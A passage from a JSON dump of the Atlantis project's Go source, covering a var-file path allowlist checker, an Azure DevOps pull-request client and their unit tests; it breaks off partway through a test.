    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"fmt\"\n\t\"path/filepath\"\n\t\"strings\"\n)\n\n// VarFileAllowlistChecker implements checking if paths are allowlisted to be used with\n// this Atlantis.\ntype VarFileAllowlistChecker struct {\n\trules []string\n}\n\n// NewVarFileAllowlistChecker constructs a new checker and validates that the\n// allowlist isn't malformed.\nfunc NewVarFileAllowlistChecker(allowlist string) (*VarFileAllowlistChecker, error) {\n\tvar rules []string\n\tpaths := strings.Split(allowlist, \",\")\n\tif paths[0] != \"\" {\n\t\tfor _, path := range paths {\n\t\t\tabsPath, err := filepath.Abs(path)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"converting allowlist %q to absolute path: %w\", path, err)\n\t\t\t}\n\t\t\trules = append(rules, absPath)\n\t\t}\n\t}\n\treturn &VarFileAllowlistChecker{\n\t\trules: rules,\n\t}, nil\n}\n\nfunc (p *VarFileAllowlistChecker) Check(flags []string) error {\n\tfor i, flag := range flags {\n\t\tvar path string\n\t\tif i < len(flags)-1 && flag == \"-var-file\" {\n\t\t\t// Flags are in the format of []{\"-var-file\", \"my-file.tfvars\"}\n\t\t\tpath = flags[i+1]\n\t\t} else {\n\t\t\tflagSplit := strings.Split(flag, \"=\")\n\t\t\t// Flags are in the format of []{\"-var-file=my-file.tfvars\"}\n\t\t\tif len(flagSplit) == 2 && flagSplit[0] == \"-var-file\" {\n\t\t\t\tpath = flagSplit[1]\n\t\t\t}\n\t\t}\n\n\t\tif path != \"\" && !p.isAllowedPath(path) {\n\t\t\treturn fmt.Errorf(\"var file path %s is not allowed by the current allowlist: [%s]\",\n\t\t\t\tpath, strings.Join(p.rules, \", \"))\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (p *VarFileAllowlistChecker) isAllowedPath(path string) bool {\n\tpath = filepath.Clean(path)\n\n\t// If the path is within the repo directory, return true without checking the rules.\n\tif !filepath.IsAbs(path) {\n\t\tif !strings.HasPrefix(path, \"..\") && !strings.HasPrefix(path, \"~\") {\n\t\t\treturn true\n\t\t}\n\t}\n\n\t// Check the path against the rules.\n\tfor _, rule := range p.rules {\n\t\trel, err := filepath.Rel(rule, path)\n\t\tif err == nil && !strings.HasPrefix(rel, \"..\") {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}\n"
  },
  {
    "path": "server/events/var_file_allowlist_checker_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestVarFileAllowlistChecker_IsAllowlisted(t *testing.T) {\n\tcases := []struct {\n\t\tDescription string\n\t\tAllowlist   string\n\t\tFlags       []string\n\t\tExpErr      string\n\t}{\n\t\t{\n\t\t\t\"Empty Allowlist, no var file\",\n\t\t\t\"\",\n\t\t\t[]string{\"\"},\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"Empty Allowlist, single var file under the repo directory\",\n\t\t\t\"\",\n\t\t\t[]string{\"-var-file=test.tfvars\"},\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"Empty Allowlist, single var file under the repo directory, specified in separate flags\",\n\t\t\t\"\",\n\t\t\t[]string{\"-var-file\", \"test.tfvars\"},\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"Empty Allowlist, single var file under the subdirectory of the repo directory\",\n\t\t\t\"\",\n\t\t\t[]string{\"-var-file=sub/test.tfvars\"},\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"Empty Allowlist, single var file outside the repo directory\",\n\t\t\t\"\",\n\t\t\t[]string{\"-var-file=/path/to/file\"},\n\t\t\t\"var file path /path/to/file is not allowed by the current allowlist: []\",\n\t\t},\n\t\t{\n\t\t\t\"Empty Allowlist, single var file under the parent directory of the repo directory\",\n\t\t\t\"\",\n\t\t\t[]string{\"-var-file=../test.tfvars\"},\n\t\t\t\"var file path ../test.tfvars is not allowed by the current allowlist: []\",\n\t\t},\n\t\t{\n\t\t\t\"Empty Allowlist, single var file under the home directory\",\n\t\t\t\"\",\n\t\t\t[]string{\"-var-file=~/test.tfvars\"},\n\t\t\t\"var file path ~/test.tfvars is not allowed by the current allowlist: []\",\n\t\t},\n\t\t{\n\t\t\t\"Single path in allowlist, no var file\",\n\t\t\t\"/path\",\n\t\t\t[]string{\"\"},\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"Single path in allowlist, single var file under the repo directory\",\n\t\t\t\"/path\",\n\t\t\t[]string{\"-var-file=test.tfvars\"},\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"Single path in allowlist, single var file under the allowlisted directory\",\n\t\t\t\"/path\",\n\t\t\t[]string{\"-var-file=/path/test.tfvars\"},\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"Single path with ending slash in allowlist, single var file under the allowlisted directory\",\n\t\t\t\"/path/\",\n\t\t\t[]string{\"-var-file=/path/test.tfvars\"},\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"Single path in allowlist, single var file in the parent directory of the repo directory\",\n\t\t\t\"/path\",\n\t\t\t[]string{\"-var-file=../test.tfvars\"},\n\t\t\t\"var file path ../test.tfvars is not allowed by the current allowlist: [/path]\",\n\t\t},\n\t\t{\n\t\t\t\"Single path in allowlist, single var file outside the allowlisted directory\",\n\t\t\t\"/path\",\n\t\t\t[]string{\"-var-file=/path_not_allowed/test.tfvars\"},\n\t\t\t\"var file path /path_not_allowed/test.tfvars is not allowed by the current allowlist: [/path]\",\n\t\t},\n\t\t{\n\t\t\t\"Single path in allowlist, single var file in the parent directory of the allowlisted directory\",\n\t\t\t\"/path\",\n\t\t\t[]string{\"-var-file=/test.tfvars\"},\n\t\t\t\"var file path /test.tfvars is not allowed by the current allowlist: [/path]\",\n\t\t},\n\t\t{\n\t\t\t\"Root path in allowlist, with multiple var files\",\n\t\t\t\"/\",\n\t\t\t[]string{\"-var-file=test.tfvars\", \"-var-file=/path/test.tfvars\", \"-var-file=/test.tfvars\"},\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"Multiple paths in allowlist, with multiple var files under allowlisted directories\",\n\t\t\t\"/path,/another/path\",\n\t\t\t[]string{\"-var-file=test.tfvars\", \"-var-file\", \"/path/test.tfvars\", \"unused-flag\", \"-var-file=/another/path/sub/test.tfvars\"},\n\t\t\t\"\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\tv, err := events.NewVarFileAllowlistChecker(c.Allowlist)\n\t\t\tOk(t, err)\n\n\t\t\terr = v.Check(c.Flags)\n\t\t\tif c.ExpErr != \"\" {\n\t\t\t\tErrEquals(t, c.ExpErr, err)\n\t\t\t} else {\n\t\t\t\tOk(t, err)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/events/vcs/azuredevops/client.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage azuredevops\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/drmaxgit/go-azuredevops/azuredevops\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/common\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\n// Client represents an Azure DevOps VCS client\ntype Client struct {\n\tClient   *azuredevops.Client\n\tctx      context.Context\n\tUserName string\n}\n\n// NewClient returns a valid Azure DevOps client.\nfunc New(hostname string, userName string, token string) (*Client, error) {\n\ttp := azuredevops.BasicAuthTransport{\n\t\tUsername: \"\",\n\t\tPassword: strings.TrimSpace(token),\n\t}\n\thttpClient := tp.Client()\n\thttpClient.Timeout = time.Second * 10\n\tvar adClient, err = azuredevops.NewClient(httpClient)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif hostname != \"dev.azure.com\" {\n\t\tbaseURL := fmt.Sprintf(\"https://%s/\", hostname)\n\t\tbase, err := url.Parse(baseURL)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"invalid azure devops hostname trying to parse %s: %w\", baseURL, err)\n\t\t}\n\t\tadClient.BaseURL = *base\n\t}\n\n\tclient := &Client{\n\t\tClient:   adClient,\n\t\tUserName: userName,\n\t\tctx:      context.Background(),\n\t}\n\n\treturn client, nil\n}\n\n// GetModifiedFiles returns the names of files that were modified in the merge request\n// relative to the repo root, e.g. parent/child/file.txt.\nfunc (g *Client) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) {\n\tvar files []string\n\n\towner, project, repoName := SplitAzureDevopsRepoFullName(repo.FullName)\n\topts := azuredevops.PullRequestGetOptions{\n\t\tIncludeWorkItemRefs: true,\n\t}\n\tpullRequest, _, _ := g.Client.PullRequests.GetWithRepo(g.ctx, owner, project, repoName, pull.Num, &opts)\n\n\ttargetRefName := strings.Replace(pullRequest.GetTargetRefName(), \"refs/heads/\", \"\", 1)\n\tsourceRefName := strings.Replace(pullRequest.GetSourceRefName(), \"refs/heads/\", \"\", 1)\n\n\tconst pageSize = 100 // Number of files from diff call\n\tvar skip int\n\n\tfor {\n\t\tr, resp, err := g.Client.Git.GetDiffs(g.ctx, owner, project, repoName, targetRefName, sourceRefName, &azuredevops.GitDiffListOptions{\n\t\t\tTop:  pageSize,\n\t\t\tSkip: skip,\n\t\t})\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"getting pull request: %w\", err)\n\t\t}\n\t\tif resp.StatusCode != http.StatusOK {\n\t\t\treturn nil, fmt.Errorf(\"http response code %d getting diff %s to %s: %w\", resp.StatusCode, sourceRefName, targetRefName, err)\n\t\t}\n\n\t\tfor _, change := range r.Changes {\n\t\t\titem := change.GetItem()\n\t\t\t// Convert the path to a relative path from the repo's root.\n\t\t\trelativePath := filepath.Clean(\"./\" + item.GetPath())\n\t\t\tfiles = append(files, relativePath)\n\n\t\t\t// If the file was renamed, we'll want to run plan in the directory\n\t\t\t// it was moved from as well.\n\t\t\tchangeType := azuredevops.Rename.String()\n\t\t\tif change.ChangeType == &changeType {\n\t\t\t\trelativePath = filepath.Clean(\"./\" + change.GetSourceServerItem())\n\t\t\t\tfiles = append(files, relativePath)\n\t\t\t}\n\t\t}\n\n\t\tif len(r.Changes) < pageSize {\n\t\t\tbreak // Break if we have reached the end\n\t\t}\n\t\tskip += pageSize // Move to next page\n\t}\n\n\treturn files, nil\n}\n\n// CreateComment creates a comment on a pull request.\n//\n// If comment length is greater than the max comment length we split into\n// multiple comments.\nfunc (g *Client) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) error { //nolint: revive\n\t// maxCommentLength is the maximum number of chars allowed in a single comment\n\t// This length was copied from the Github client - haven't found documentation\n\t// or tested limit in Azure DevOps.\n\tconst maxCommentLength = 150000\n\n\tcomments := common.SplitComment(logger, comment, maxCommentLength, 0, command)\n\towner, project, repoName := SplitAzureDevopsRepoFullName(repo.FullName)\n\n\tfor i := range comments {\n\t\tcommentType := \"text\"\n\t\tparentCommentID := 0\n\n\t\tprComment := azuredevops.Comment{\n\t\t\tCommentType:     &commentType,\n\t\t\tContent:         &comments[i],\n\t\t\tParentCommentID: &parentCommentID,\n\t\t}\n\t\tprComments := []*azuredevops.Comment{&prComment}\n\t\tbody := azuredevops.GitPullRequestCommentThread{\n\t\t\tComments: prComments,\n\t\t}\n\t\t_, _, err := g.Client.PullRequests.CreateComments(g.ctx, owner, project, repoName, pullNum, &body)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (g *Client) ReactToComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, commentID int64, reaction string) error { //nolint: revive\n\treturn nil\n}\n\nfunc (g *Client) HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, dir string) error { //nolint: revive\n\treturn nil\n}\n\n// PullIsApproved returns true if the merge request was approved by another reviewer.\n// https://docs.microsoft.com/en-us/azure/devops/repos/git/branch-policies?view=azure-devops#require-a-minimum-number-of-reviewers\nfunc (g *Client) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (approvalStatus models.ApprovalStatus, err error) {\n\towner, project, repoName := SplitAzureDevopsRepoFullName(repo.FullName)\n\n\topts := azuredevops.PullRequestGetOptions{\n\t\tIncludeWorkItemRefs: true,\n\t}\n\tadPull, _, err := g.Client.PullRequests.GetWithRepo(g.ctx, owner, project, repoName, pull.Num, &opts)\n\tif err != nil {\n\t\treturn approvalStatus, fmt.Errorf(\"getting pull request: %w\", err)\n\t}\n\n\tfor _, review := range adPull.Reviewers {\n\t\tif review == nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tif review.GetUniqueName() == adPull.GetCreatedBy().GetUniqueName() {\n\t\t\tcontinue\n\t\t}\n\n\t\tif review.GetVote() == azuredevops.VoteApproved || review.GetVote() == azuredevops.VoteApprovedWithSuggestions {\n\t\t\treturn models.ApprovalStatus{\n\t\t\t\tIsApproved: true,\n\t\t\t}, nil\n\t\t}\n\t}\n\n\treturn approvalStatus, nil\n}\n\nfunc (g *Client) DiscardReviews(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error { //nolint: revive\n\t// TODO implement\n\treturn nil\n}\n\n// PullIsMergeable returns true if the merge request can be merged.\nfunc (g *Client) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, _ string, _ []string) (models.MergeableStatus, error) { //nolint: revive\n\towner, project, repoName := SplitAzureDevopsRepoFullName(repo.FullName)\n\n\topts := azuredevops.PullRequestGetOptions{IncludeWorkItemRefs: true}\n\tadPull, _, err := g.Client.PullRequests.GetWithRepo(g.ctx, owner, project, repoName, pull.Num, &opts)\n\tif err != nil {\n\t\treturn models.MergeableStatus{}, fmt.Errorf(\"getting pull request: %w\", err)\n\t}\n\n\tif *adPull.MergeStatus != azuredevops.MergeSucceeded.String() {\n\t\treturn models.MergeableStatus{\n\t\t\tIsMergeable: false,\n\t\t}, nil\n\t}\n\n\tif *adPull.IsDraft {\n\t\treturn models.MergeableStatus{\n\t\t\tIsMergeable: false,\n\t\t}, nil\n\t}\n\n\tif *adPull.Status != azuredevops.PullActive.String() {\n\t\treturn models.MergeableStatus{\n\t\t\tIsMergeable: false,\n\t\t}, nil\n\t}\n\n\tprojectID := *adPull.Repository.Project.ID\n\tartifactID := g.Client.PolicyEvaluations.GetPullRequestArtifactID(projectID, pull.Num)\n\tpolicyEvaluations, _, err := g.Client.PolicyEvaluations.List(g.ctx, owner, project, artifactID, &azuredevops.PolicyEvaluationsListOptions{})\n\tif err != nil {\n\t\treturn models.MergeableStatus{}, fmt.Errorf(\"getting policy evaluations: %w\", err)\n\t}\n\n\tfor _, policyEvaluation := range policyEvaluations {\n\t\tif !*policyEvaluation.Configuration.IsEnabled || *policyEvaluation.Configuration.IsDeleted {\n\t\t\tcontinue\n\t\t}\n\n\t\t// Ignore the Atlantis status, even if its set as a blocker.\n\t\t// This status should not be considered when evaluating if the pull request can be applied.\n\t\tsettings := (policyEvaluation.Configuration.Settings).(map[string]any)\n\t\tif genre, ok := settings[\"statusGenre\"]; ok && genre == \"Atlantis Bot/atlantis\" {\n\t\t\tif name, ok := settings[\"statusName\"]; ok && name == \"apply\" {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\tif *policyEvaluation.Configuration.IsBlocking && *policyEvaluation.Status != azuredevops.PolicyEvaluationApproved {\n\t\t\treturn models.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t}, nil\n\t\t}\n\t}\n\n\treturn models.MergeableStatus{\n\t\tIsMergeable: true,\n\t}, nil\n}\n\n// GetPullRequest returns the pull request.\nfunc (g *Client) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, num int) (*azuredevops.GitPullRequest, error) {\n\topts := azuredevops.PullRequestGetOptions{\n\t\tIncludeWorkItemRefs: true,\n\t}\n\towner, project, repoName := SplitAzureDevopsRepoFullName(repo.FullName)\n\tpull, _, err := g.Client.PullRequests.GetWithRepo(g.ctx, owner, project, repoName, num, &opts)\n\treturn pull, err\n}\n\n// UpdateStatus updates the build status of a commit.\nfunc (g *Client) UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error {\n\tadState := azuredevops.GitError.String()\n\tswitch state {\n\tcase models.PendingCommitStatus:\n\t\tadState = azuredevops.GitPending.String()\n\tcase models.SuccessCommitStatus:\n\t\tadState = azuredevops.GitSucceeded.String()\n\tcase models.FailedCommitStatus:\n\t\tadState = azuredevops.GitFailed.String()\n\t}\n\n\tlogger.Info(\"Updating Azure DevOps commit status for '%s' to '%s'\", src, adState)\n\n\tstatus := azuredevops.GitPullRequestStatus{}\n\tstatus.Context = gitStatusContextFromSrc(src)\n\tstatus.Description = &description\n\tstatus.State = &adState\n\tif url != \"\" {\n\t\tstatus.TargetURL = &url\n\t}\n\n\towner, project, repoName := SplitAzureDevopsRepoFullName(repo.FullName)\n\n\topts := azuredevops.PullRequestListOptions{}\n\tsource, resp, err := g.Client.PullRequests.Get(g.ctx, owner, project, pull.Num, &opts)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"getting pull request: %w\", err)\n\t}\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn fmt.Errorf(\"http response code %d getting pull request\", resp.StatusCode)\n\t}\n\tif source.GetSupportsIterations() {\n\t\topts := azuredevops.PullRequestIterationsListOptions{}\n\t\titerations, resp, err := g.Client.PullRequests.ListIterations(g.ctx, owner, project, repoName, pull.Num, &opts)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"listing pull request iterations: %w\", err)\n\t\t}\n\t\tif resp.StatusCode != http.StatusOK {\n\t\t\treturn fmt.Errorf(\"http response code %d listing pull request iterations\", resp.StatusCode)\n\t\t}\n\t\tfor _, iteration := range iterations {\n\t\t\tif sourceRef := iteration.GetSourceRefCommit(); sourceRef != nil {\n\t\t\t\tif *sourceRef.CommitID == pull.HeadCommit {\n\t\t\t\t\tstatus.IterationID = iteration.ID\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif iterationID := status.IterationID; iterationID != nil {\n\t\t\tif *iterationID < 1 {\n\t\t\t\treturn errors.New(\"supportsIterations was true but got invalid iteration ID or no matching iteration commit SHA was found\")\n\t\t\t}\n\t\t}\n\t}\n\t_, resp, err = g.Client.PullRequests.CreateStatus(g.ctx, owner, project, repoName, pull.Num, &status)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"creating pull request status: %w\", err)\n\t}\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn fmt.Errorf(\"http response code %d creating pull request status\", resp.StatusCode)\n\t}\n\treturn err\n}\n\n// MergePull merges the merge request using the default no fast-forward strategy\n// If the user has set a branch policy that disallows no fast-forward, the merge will fail\n// until we handle branch policies\n// https://docs.microsoft.com/en-us/azure/devops/repos/git/branch-policies?view=azure-devops\nfunc (g *Client) MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) error {\n\towner, project, repoName := SplitAzureDevopsRepoFullName(pull.BaseRepo.FullName)\n\tdescriptor := \"Atlantis Terraform Pull Request Automation\"\n\n\tuserID, err := g.Client.UserEntitlements.GetUserID(g.ctx, g.UserName, owner)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"getting user id, User name: %s Organization %s : %w\", g.UserName, owner, err)\n\t}\n\tif userID == nil {\n\t\treturn fmt.Errorf(\"the user %s is not found in the organization %s\", g.UserName, owner)\n\t}\n\n\timageURL := \"https://raw.githubusercontent.com/runatlantis/atlantis/main/runatlantis.io/public/hero.png\"\n\tid := azuredevops.IdentityRef{\n\t\tDescriptor: &descriptor,\n\t\tID:         userID,\n\t\tImageURL:   &imageURL,\n\t}\n\t// Set default pull request completion options\n\tmcm := azuredevops.NoFastForward.String()\n\ttwi := new(bool)\n\t*twi = true\n\tcompletionOpts := azuredevops.GitPullRequestCompletionOptions{\n\t\tBypassPolicy:            new(bool),\n\t\tBypassReason:            azuredevops.String(\"\"),\n\t\tDeleteSourceBranch:      &pullOptions.DeleteSourceBranchOnMerge,\n\t\tMergeCommitMessage:      azuredevops.String(common.AutomergeCommitMsg(pull.Num)),\n\t\tMergeStrategy:           &mcm,\n\t\tSquashMerge:             new(bool),\n\t\tTransitionWorkItems:     twi,\n\t\tTriggeredByAutoComplete: new(bool),\n\t}\n\n\t// Construct request body from supplied parameters\n\tmergePull := new(azuredevops.GitPullRequest)\n\tmergePull.AutoCompleteSetBy = &id\n\tmergePull.CompletionOptions = &completionOpts\n\n\tmergeResult, _, err := g.Client.PullRequests.Merge(\n\t\tg.ctx,\n\t\towner,\n\t\tproject,\n\t\trepoName,\n\t\tpull.Num,\n\t\tmergePull,\n\t\tcompletionOpts,\n\t\tid,\n\t)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"merging pull request: %w\", err)\n\t}\n\tif *mergeResult.MergeStatus != azuredevops.MergeSucceeded.String() {\n\t\treturn fmt.Errorf(\"could not merge pull request: %s\", mergeResult.GetMergeFailureMessage())\n\t}\n\treturn nil\n}\n\n// MarkdownPullLink specifies the string used in a pull request comment to reference another pull request.\nfunc (g *Client) MarkdownPullLink(pull models.PullRequest) (string, error) {\n\treturn fmt.Sprintf(\"!%d\", pull.Num), nil\n}\n\n// SplitAzureDevopsRepoFullName splits a repo full name up into its owner,\n// repo and project name segments. If the repoFullName is malformed, may\n// return empty strings for owner, repo, or project.  Azure DevOps uses\n// repoFullName format owner/project/repo.\n//\n// Ex. runatlantis/atlantis => (runatlantis, atlantis)\n//\n//\tgitlab/subgroup/runatlantis/atlantis => (gitlab/subgroup/runatlantis, atlantis)\n//\tazuredevops/project/atlantis => (azuredevops, project, atlantis)\nfunc SplitAzureDevopsRepoFullName(repoFullName string) (owner string, project string, repo string) {\n\tfirstSlashIdx := strings.Index(repoFullName, \"/\")\n\tlastSlashIdx := strings.LastIndex(repoFullName, \"/\")\n\tslashCount := strings.Count(repoFullName, \"/\")\n\tif lastSlashIdx == -1 || lastSlashIdx == len(repoFullName)-1 {\n\t\treturn \"\", \"\", \"\"\n\t}\n\tif firstSlashIdx != lastSlashIdx && slashCount == 2 {\n\t\treturn repoFullName[:firstSlashIdx],\n\t\t\trepoFullName[firstSlashIdx+1 : lastSlashIdx],\n\t\t\trepoFullName[lastSlashIdx+1:]\n\t}\n\treturn repoFullName[:lastSlashIdx], \"\", repoFullName[lastSlashIdx+1:]\n}\n\n// GetTeamNamesForUser returns the names of the teams or groups that the user belongs to (in the organization the repository belongs to).\nfunc (g *Client) GetTeamNamesForUser(_ logging.SimpleLogging, _ models.Repo, _ models.User) ([]string, error) { //nolint: revive\n\treturn nil, nil\n}\n\nfunc (g *Client) SupportsSingleFileDownload(repo models.Repo) bool { //nolint: revive\n\treturn false\n}\n\nfunc (g *Client) GetFileContent(_ logging.SimpleLogging, _ models.Repo, _ string, _ string) (bool, []byte, error) { //nolint: revive\n\treturn false, []byte{}, fmt.Errorf(\"not implemented\")\n}\n\n// GitStatusContextFromSrc parses an Atlantis formatted src string into a context suitable\n// for the status update API. In the AzureDevops branch policy UI there is a single string\n// field used to drive these contexts where all text preceding the final '/' character is\n// treated as the 'genre'.\nfunc gitStatusContextFromSrc(src string) *azuredevops.GitStatusContext {\n\tlastSlashIdx := strings.LastIndex(src, \"/\")\n\tgenre := \"Atlantis Bot\"\n\tname := src\n\tif lastSlashIdx != -1 {\n\t\tgenre = fmt.Sprintf(\"%s/%s\", genre, src[:lastSlashIdx])\n\t\tname = src[lastSlashIdx+1:]\n\t}\n\n\treturn &azuredevops.GitStatusContext{\n\t\tName:  &name,\n\t\tGenre: &genre,\n\t}\n}\n\nfunc (g *Client) GetCloneURL(_ logging.SimpleLogging, VCSHostType models.VCSHostType, repo string) (string, error) { //nolint: revive\n\treturn \"\", fmt.Errorf(\"not yet implemented\")\n}\n\nfunc (g *Client) GetPullLabels(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest) ([]string, error) {\n\treturn nil, fmt.Errorf(\"not yet implemented\")\n}\n"
  },
  {
    "path": "server/events/vcs/azuredevops/client_internal_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage azuredevops\n\nimport (\n\t\"testing\"\n\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestGitStatusContextFromSrc(t *testing.T) {\n\tcases := []struct {\n\t\tsrc      string\n\t\texpGenre string\n\t\texpName  string\n\t}{\n\t\t{\n\t\t\t\"atlantis/plan\",\n\t\t\t\"Atlantis Bot/atlantis\",\n\t\t\t\"plan\",\n\t\t},\n\t\t{\n\t\t\t\"atlantis/foo/bar/biz/baz\",\n\t\t\t\"Atlantis Bot/atlantis/foo/bar/biz\",\n\t\t\t\"baz\",\n\t\t},\n\t\t{\n\t\t\t\"foo\",\n\t\t\t\"Atlantis Bot\",\n\t\t\t\"foo\",\n\t\t},\n\t\t{\n\t\t\t\"\",\n\t\t\t\"Atlantis Bot\",\n\t\t\t\"\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tresult := gitStatusContextFromSrc(c.src)\n\t\texpName := c.expName\n\t\texpGenre := c.expGenre\n\t\tEquals(t, &expName, result.Name)\n\t\tEquals(t, &expGenre, result.Genre)\n\t}\n}\n"
  },
  {
    "path": "server/events/vcs/azuredevops/client_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage azuredevops_test\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"net/url\"\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/drmaxgit/go-azuredevops/azuredevops\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\tazuredevopsclient \"github.com/runatlantis/atlantis/server/events/vcs/azuredevops\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/azuredevops/testdata\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/common\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestAzureDevopsClient_MergePull(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tcases := []struct {\n\t\tdescription string\n\t\tresponse    string\n\t\tcode        int\n\t\texpErr      string\n\t}{\n\t\t{\n\t\t\t\"success\",\n\t\t\tadMergeSuccess,\n\t\t\t200,\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"405\",\n\t\t\t`{\"message\":\"405 Method Not Allowed\"}`,\n\t\t\t405,\n\t\t\t\"405 {message: 405 Method Not Allowed}\",\n\t\t},\n\t\t{\n\t\t\t\"406\",\n\t\t\t`{\"message\":\"406 Branch cannot be merged\"}`,\n\t\t\t406,\n\t\t\t\"406 {message: 406 Branch cannot be merged}\",\n\t\t},\n\t}\n\n\t// Set default pull request completion options\n\tmcm := azuredevops.NoFastForward.String()\n\ttwi := new(bool)\n\t*twi = true\n\tcompletionOptions := azuredevops.GitPullRequestCompletionOptions{\n\t\tBypassPolicy:            new(bool),\n\t\tBypassReason:            azuredevops.String(\"\"),\n\t\tDeleteSourceBranch:      new(bool),\n\t\tMergeCommitMessage:      azuredevops.String(\"commit message\"),\n\t\tMergeStrategy:           &mcm,\n\t\tSquashMerge:             new(bool),\n\t\tTransitionWorkItems:     twi,\n\t\tTriggeredByAutoComplete: new(bool),\n\t}\n\n\tid := azuredevops.IdentityRef{}\n\tpull := azuredevops.GitPullRequest{\n\t\tPullRequestID: azuredevops.Int(22),\n\t}\n\n\tuserIDResponse := `{\n\t\t\"members\": [\n\t\t\t{\n\t\t\t\t\"id\": \"6416203b-98bb-4910-8f8a-b12aa19a399f\"\n\t\t\t}\n\t\t],\n\t\t\"continuationToken\": null,\n\t\t\"totalCount\": 0,\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"id\": \"6416203b-98bb-4910-8f8a-b12aa19a399f\"\n\t\t\t}\n\t\t]\n\t}`\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\ttestServer := httptest.NewTLSServer(\n\t\t\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\t\tswitch r.RequestURI {\n\t\t\t\t\t// The first request should hit this URL.\n\t\t\t\t\tcase \"/owner/project/_apis/git/repositories/repo/pullrequests/22?api-version=5.1-preview.1\":\n\t\t\t\t\t\tw.WriteHeader(c.code)\n\t\t\t\t\t\tw.Write([]byte(c.response)) // nolint: errcheck\n\t\t\t\t\tcase \"/owner/_apis/userentitlements?$filter=name+eq+'user'&$api-version=6.0-preview.3\":\n\t\t\t\t\t\tw.WriteHeader(c.code)\n\t\t\t\t\t\tw.Write([]byte(userIDResponse)) // nolint: errcheck\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\t}\n\t\t\t\t}))\n\n\t\t\ttestServerURL, err := url.Parse(testServer.URL)\n\t\t\tOk(t, err)\n\t\t\tclient, err := azuredevopsclient.New(testServerURL.Host, \"user\", 